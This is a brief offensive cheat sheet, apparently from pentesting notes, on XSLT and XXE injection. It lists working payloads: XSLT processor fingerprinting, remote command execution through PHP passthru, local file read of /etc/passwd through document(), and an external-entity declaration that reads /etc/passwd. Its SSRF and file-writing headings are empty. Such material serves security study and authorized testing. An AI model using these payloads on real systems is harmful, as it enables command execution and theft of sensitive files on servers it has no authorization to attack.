XXE & XSLT Injection
XXE (XML External Entity) is a way to read arbitrary files, and XSLT files are a way to format XML files - these files are susceptible to injection which results in a number of various exploits
Preparation
<xsl:value-of select="system-property('xsl:version')" />
<xsl:value-of select="system-property('xsl:vendor')" />
<xsl:value-of select="system-property('xsl:vendor-url')" />RCE (Remote Code Execution)
<xsl:value-of select="php:function('passthru', 'ls -al')" />LFR (Local File Read)
<xsl:copy-of select="document('/etc/passwd')" />XXE
// in our XML file:
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
// in our XSLT file:
INFO &ext_file;:SSRF
Writing to Files
Last updated